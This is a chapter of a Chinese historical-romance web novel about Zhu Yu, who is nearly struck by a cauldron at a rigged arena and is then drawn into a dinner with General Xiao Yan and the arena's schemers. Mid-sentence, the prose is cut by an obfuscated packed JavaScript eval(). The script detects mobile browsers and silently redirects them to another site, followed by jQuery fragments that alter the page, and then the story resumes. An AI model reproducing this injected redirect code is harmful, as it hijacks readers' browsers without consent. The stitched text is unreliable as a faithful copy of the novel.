漠北这方的擂台很有意思,上场不仅要比武,还有更多奇奇怪怪的对试。
祝妤耐心观察,本想那些汉子只是武夫。可回头发现他们竟然还会诗词歌赋,这让她无比惊讶。
尤其有位身穿白衣的男子,纵使腿有残疾,但看上去气质不凡。外表既像文人,举手投足间又像练家子的。
后面的酒楼传来杯盏碰撞声,集市人声鼎沸,愈发热闹。身处闹市容易被周遭影响,台上有人抡着大锤,被掌力逼退两步,险些站不稳。
滑稽的场面引来轰笑,众人掩唇,小禾却笑得更大声,口里不住骂那人是笨蛋。
祝妤哑然,小心翼翼捂住她的嘴,毕竟对方已经看了过来。男儿脸面最重要,大庭广众被人笑是笨蛋,怕是要恼羞成怒了。
果不其然,汉子恶狠狠瞪了眼小禾,随即双手举起重锤,倾身向人挥去。台前铁盒内放了不少金银珠宝,是擂台比试的战利品。可是数量令人咋舌,尤其在这么招摇的位置。
因此被吸引而来的人络绎不绝。
耗到第二轮,汉子换下大锤,改为挥鞭。只见他那般粗犷之人,用起鞭子游刃有余,似是融会贯通。一鞭接着一鞭,打得对方措手不及,连连求饶。
场面逐渐变得精彩,照这样打下去,谁都无法拿到那盒珠宝。
察觉内里的奥妙,祝妤本能瞧了瞧不远处的萧俨。发现他漠然抱臂,看不出喜怒。
如果她猜得没错,台上的人该是刻意设局,请君入瓮,为的是吸引谁的注意。
不过目标好像很明显。
挑战者被汉子踹下台了,身体从旁边咻地一下飞老远,祝妤拉住小禾躲闪开。见那人被揍得鼻青脸肿,转眼又有人自告奋勇上前。
比试突然变得单调乏味,毕竟胜利方始终是设台之人。众人本想捡便宜,哪知怎么也不能如愿。
正分心时,无意中瞥见白衣男子正望着自己。祝妤疑惑,觉得那个眼神很奇怪。像是在看猎物,又对猎物笑脸相迎。
渐渐地,她有种不好的感觉,说不上来,甚至不敢再与他对视。
瞧见白衣男子的目光,挥鞭的汉子猛地停下手中动作。将鞭子顺势丢开,来到擂台另一头,双手赫然举起一座大鼎。
众人哗然,没想到此人力大无穷,纷纷往后躲。连小禾也吓一跳,轻轻拽住她的袖口,场面一时陷入混乱。那汉子眼见大伙都散了开,浓眉高扬,将大鼎直直丢了出去。
面对这一幕,路人顿时尖叫,你推我攘四处逃窜。围观的女子们更是吓得不轻,顾不得跑,瘫软在地无法动弹。
也不知那汉子是否故意,亦或者带着别的目的。大鼎在他的操作下径直对准台下的祝妤。她心头一惊,下意识后退,远远没料到这重物竟冲自己而来。
惊恐大过疑惑,那一刻她心跳到嗓子眼。
就在她本能侧身,深觉不妙之时。跟前突地人影闪过,发出一声重响。有人飞身用双脚踢开大鼎,劲力十足。鼎身顿时歪斜,飞向另一边的围墙。
祝妤坐在原地,面色苍白,仿佛呼吸都在打结。
入眼那堵高墙已被砸个粉碎。
替她解围之人,正是前方稳稳落地的萧俨。
小禾吓呆了,回过神来立刻飞奔走近,满脸担忧并检查她有无受伤。
说时迟那时快,就在这时,身后突然涌入数十名黑衣护卫。齐刷刷亮出手中长刀,直抵台上肇事者。
原来这些人一直躲在暗处,等待某人发号施令。
气氛一阵僵持,萧俨沉默而立。扬手,示意护卫收起刀来。
台上始终没开口的白衣男子眼见这场面,立时有了动静。一瘸一拐上前,朝底下男人拱手鞠礼。
“在下信阳张齐,今日斗胆唐突,凡请将军恕罪。”
他有备而来,明白已经吸引到了萧俨的注意。纵使掀起轩然大波,仍旧面不改色。
好在他跟前那帮护卫也不是吃素的,闻听此言,立马上前呵斥。
只是主人没发话,他们也不敢表现太过。
见白衣男子如此说,刚才举鼎的汉子立马迎上去拜会,躬身行大礼。
“萧将军饶命,我家主人求见您数次无果。方才铤而走险出此下策,望您海涵。”
诚恳解释,引得所有人向他望去。
祝妤在小禾的搀扶下爬起身,入眼手腕处红了大片,大概是刚才摔倒时磕破。小禾很紧张,她却安抚对方无妨。仔细听他们说的话,心道先才的猜测似是没错。
汉子应该是知道自己惹了大祸,道出缘由,并极力解释。回头见大伙都盯着自己,便冲着一众受惊过度的路人高声抱拳。
“台下诸位父老乡亲,今日是我们的不是。此乃珠宝一份,双手奉送,请大家包涵!”
说罢当真将满满一箱子珠宝尽数扔出,下面的人本还一脸错愕,见势立刻蜂拥而至,完全忘记刚才惊险的一幕。
祝妤与小禾对望,心道金银珠宝果真万能。
这一伙搭擂台的人弄出当前局面,如今已是骑虎难下。其结局要么惹怒萧俨,被治罪。又或许用钱财收买人心,试着让此事不了了之。
不过瞧萧俨和民众的反应,大概率是后者了。
接着不知道他们又说了什么,萧俨的态度始终淡漠如初。后来耗了阵,明明刚刚还剑拔弩张的诸位,顷刻间却已平息。
白衣男子与随行几名汉子被邀去往身后茶楼,同行的还有祝妤二人。因着刚才那幕都冲着她来,无辜被牵连受伤,总得找个地方包扎上药。
至少小禾是这么认为,所以萧俨的随扈邀她们一起上楼,丫头二话不说就答应了。
那处茶楼就在擂台不远处,闹中取静,别具一格。爬上梯子去往二楼,发现内院还有不少雅间。老板得知萧将军大驾光临,亲自走出来迎接。面上挂着谄媚的笑,轻车熟路替他们备好位置,屈身邀人入内。
祝妤她俩走在最后头,眼看几名男子都已进门,懵懂跟上,发现外面廊上还站满不少黑衣护卫。暗叹场面够大,不愧是一方之主出街的排场。
去到室内,两位姑娘寻了最角落的位置入座,萧俨的随扈体贴送来药箱。小禾作为徐琛的医徒当然很懂包扎这一套,话不多说接过药箱,垂首开始忙碌。
事实上祝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024427|194320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妤并没受太重的伤,只是摩擦了一下,不用药也无碍。但却拗不过小禾,因为对方觉得先才要不是自己怂忘了拉她一把,没准就不会受伤了。
她的脑子一根筋,认准什么就是什么。姑娘心里清楚,便怀着感激随她去了。
不知不觉到了饭点,老板小声上来问询。得到指示,小二开始上菜。祝妤她们本想趁机告辞,却被随扈婉言留下,笑说用过饭再走。
若不是得了主人许可,他应该不会这么做。小禾眼珠子转了转,听说这家店菜式不错,又是将军默许的,她就更加不愿走了。
她不走,祝妤自然也不会走。于是乎二人就莫名其妙留了下来,跟着这一帮男人用起了晚饭。
杯盏碰撞间,几坛酒搁置在旁,整桌人都在豪饮,包括萧俨。祝妤在沧山时见识过一些酒局,作为姑娘家自是挤在女儿堆中。大概见过男子们投壶饮酒的醉态,不过跟这些江湖汉子全然不同。
正当她走神之时,那位举鼎人将注意力投向她,高高举杯。
“头先的确是个误会,底下人误传,以为姑娘是萧将军的……嘿嘿,当时只是想吓吓您。实在多有得罪,在下自罚三杯,求姑娘原谅。”
他叫吴珂,是白衣男子的手下。设擂台时就已打听清楚,只是给整了一出乌龙。好在并未搞砸,至少真的引起某人注意。
话音落,周遭一阵平静。
兴许这不说还好,一说就更尴尬了。祝妤张了张口,多少后悔坐在这,包括小禾也愣了住。
不知该如何应,她摆摆手刚想解释点什么,萧俨默不作声扫了眼他们的包袱,沉声。
“阁下若觉得愧疚,不妨把余下珠宝都赠予这位姑娘。”
示意他们剩下那袋沉甸甸的物件。
萧俨精明,三两下就看出他们还有多余的珠宝。
吴珂一愣,完全没想到这,抓抓脑袋道。
“啊?如此……倒也是啊。只是姑娘不是要回茱州?这孤身在外的……依我看……怕是不妥吧。”
这是他们刚才席间闲聊时说起的,毕竟都在一张桌子上用饭,总不能不说话吧。
萧俨饮去一杯酒,语气波澜不惊。
“张先生既要去南城,那就正好同路。”
这话是对白衣男子说的,他自称张齐,并且听说能夜观天象,无所不能。
他无疑是这里面反应最快的,态度恭敬又好奇。
“嗯?将军的意思是……要在下护送祝姑娘?”
面上挂着谦卑的笑。
忆起这个笑,祝妤很快想起刚才在台上时他看自己的眼神,一副瞧猎物的模样,她实则不喜。
于是搁下筷子,赶紧礼貌着。
“不必了将军,您的好意我心领了,只是……”
话没说完吴珂立马冲她挥手。
“欸!姑娘千万别这么说,今日误伤您,在下于心有愧。回茱州的事包在我们身上,定然叫祝姑娘安稳归家。”
莫名的邀约,理直气壮的保证。
祝妤顿住,话到嘴边忽又停下。望了一眼萧俨,深知他的用意,一时犹豫,很快止了声儿。